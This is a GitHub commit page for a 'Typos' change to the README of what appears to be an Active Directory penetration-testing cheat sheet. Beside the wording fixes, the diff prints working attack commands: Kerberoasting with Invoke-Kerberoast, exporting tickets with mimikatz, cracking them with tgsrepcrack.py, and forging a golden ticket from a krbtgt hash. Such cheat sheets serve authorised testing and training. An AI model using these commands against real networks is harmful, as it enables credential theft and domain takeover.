Skip to content

Commit

Permalink
Typos :D
Browse files Browse the repository at this point in the history
  • Loading branch information
HitmanAlharbi authored Mar 6, 2022
1 parent 1439c41 commit 829e158
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -231,7 +231,7 @@ wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr
 


**[+] Request a ticket (powershell)**
**[+] Request a ticket for a specific SPN (powershell)**

```powershell
Add-Type -AssemblyName System.IdentityModel
Expand All @@ -248,15 +248,15 @@ mimikatz # kerberos::list /export

 

**[+] Crack ticket using Tgsrepcrack.py (You can use john too or hashcat)**
**[+] Crack a ticket using Tgsrepcrack.py (You can use john too or hashcat)**

```powershell
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.hitmanalharbi.local~1433-boo.LOCAL.kirbi
```

 

**[+] Export all tickets to John format (Need PowerView.ps1)**
**[+] Export all kerberastbles users to John format (Need PowerView.ps1)**

```powershell
Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}
Expand All @@ -278,7 +278,7 @@ Invoke-Command -ComputerName UFC-JUMPSRV -Credential $cred -ScriptBlock {

 

**[+] Create golden ticket using Mimikatz**
**[+] Create a golden ticket using Mimikatz**

```powershell
kerberos::golden /user:Hitman /domain:DOMAIN /sid:DOMAIN-SID /krbtgt:HASH /ticket:tgt /ptt
Expand Down

0 comments on commit 829e158

Please sign in to comment.